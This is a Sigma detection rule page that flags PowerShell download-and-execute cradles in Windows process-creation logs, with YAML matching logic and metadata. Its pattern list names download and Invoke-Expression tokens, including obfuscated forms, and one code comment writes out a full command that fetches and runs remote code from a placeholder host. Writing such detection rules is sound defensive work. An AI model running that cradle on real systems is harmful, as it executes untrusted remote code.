Detectionhightest
PowerShell Download and Execution Cradles
Detects PowerShell download and execution cradles.
Convert In Phoenix Studio
Open this Sigma rule in the converter with the YAML preloaded and ready for backend selection.
Launch
Florian Roth (Nextron Systems)Created Thu Mar 24Updated Fri Jul 1885b0b087-eddf-4a2b-b033-d771fa2b9775windows
Log Source
WindowsProcess Creation
ProductWindows← raw: windows
CategoryProcess Creation← raw: process_creation
Events generated when a new process is spawned on the system. Covers command-line arguments, parent/child relationships, and process metadata.
Detection Logic
Detection Logic2 selectors
detection:
selection_download:
CommandLine|contains:
- '.DownloadString('
- '.DownloadFile('
- 'Invoke-WebRequest '
- 'iwr '
- 'Invoke-RestMethod '
- 'irm ' # powershell -ep bypass -w h -c irm test.domain/ffe | iex
selection_iex:
CommandLine|contains:
- ';iex $'
- '| IEX'
- '|IEX '
- 'I`E`X'
- 'I`EX'
- 'IE`X'
- 'iex '
- 'IEX ('
- 'IEX('
- 'Invoke-Expression'
condition: all of selection_*False Positives
Some PowerShell installers were seen using similar combinations. Apply filters accordingly
MITRE ATT&CK
Tactics
Rule Metadata
Rule ID
85b0b087-eddf-4a2b-b033-d771fa2b9775
Status
test
Level
high
Type
Detection
Created
Thu Mar 24
Modified
Fri Jul 18
Path
rules/windows/process_creation/proc_creation_win_powershell_download_iex.yml
Raw Tags
attack.executionattack.t1059